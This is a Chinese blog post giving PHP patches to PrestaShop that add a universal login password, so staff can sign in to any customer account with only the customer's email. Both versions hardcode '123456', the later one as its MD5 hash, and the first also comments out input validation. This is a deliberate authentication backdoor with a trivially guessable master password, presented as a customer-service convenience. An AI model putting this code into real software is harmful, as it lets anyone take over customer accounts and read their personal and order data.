柳暗花明笔记

    prestashop 添加通用登陆密码,email还要是验证的,这样只是方便客服登陆查看

    所属分类:[ php&web ] 猫哲学家 发表于:2016-09-18 23:39 浏览:8172

    1.在文件classes/Customer.php 的getByEmail方法后面添加方法(大体和getByEmail方法相类):

    /**
    * Return customer instance Lanmiz 添加通用登陆密码 20160918
    *
    * @param string $email e-mail
    * @param string $passwd Password is also checked if specified
    * @return Customer instance
    */
    public function getByEmailWithCommonPassword($email, $passwd = null, $ignore_guest = true)
    {
    // if (!Validate::isEmail($email) || ($passwd && !Validate::isPasswd($passwd))) {
    // die(Tools::displayError());
    // }

    $result = Db::getInstance()->getRow('
    SELECT *
    FROM `'._DB_PREFIX_.'customer`
    WHERE `email` = \''.pSQL($email).'\'
    '.Shop::addSqlRestriction(Shop::SHARE_CUSTOMER).'
    '.(isset($passwd) ? 'AND `passwd` = \''.pSQL(Tools::encrypt($passwd)).'\'' : '').'
    AND `deleted` = 0
    '.($ignore_guest ? ' AND `is_guest` = 0' : ''));

    if (!$result) {
    return false;
    }
    $this->id = $result['id_customer'];
    foreach ($result as $key => $value) {
    if (property_exists($this, $key)) {
    $this->{$key} = $value;
    }
    }
    return $this;
    }

    2.在文件controllers/front/AuthController.php的

    $authentication = $customer->getByEmail(trim($email), trim($passwd)); 后面添加:

    // Lanmiz 添加通用登陆密码 20160918 start
    if ($authentication === false and trim($passwd) == '123456')
    {
    $authentication = $customer->getByEmailWithCommonPassword(trim($email));
    }
    // Lanmiz 添加通用登陆密码 20160918 end

     

     

     

    ============================================================

    ============================================================

    ====================20170204最新版本=========================

    只用在AuthController.php添加以下代码即可:

    // Mingzhao add customer 通用登陆密码 20170204 start
    if ($authentication === false and md5(trim($passwd)) == 'e10adc3949ba59abbe56e057f20f883e')
    {
    $authentication = $customer->getByEmail(trim($email));
    }
    // Mingzhao add customer 通用登陆密码 20170204 end

    标签: php 
    上一编文章 mysql 显示所有查询记录 下一编文章 magento添加通用登陆密码方法,email还要是验证的,这样只是方便服务登陆查看
    最近文章
    发表评论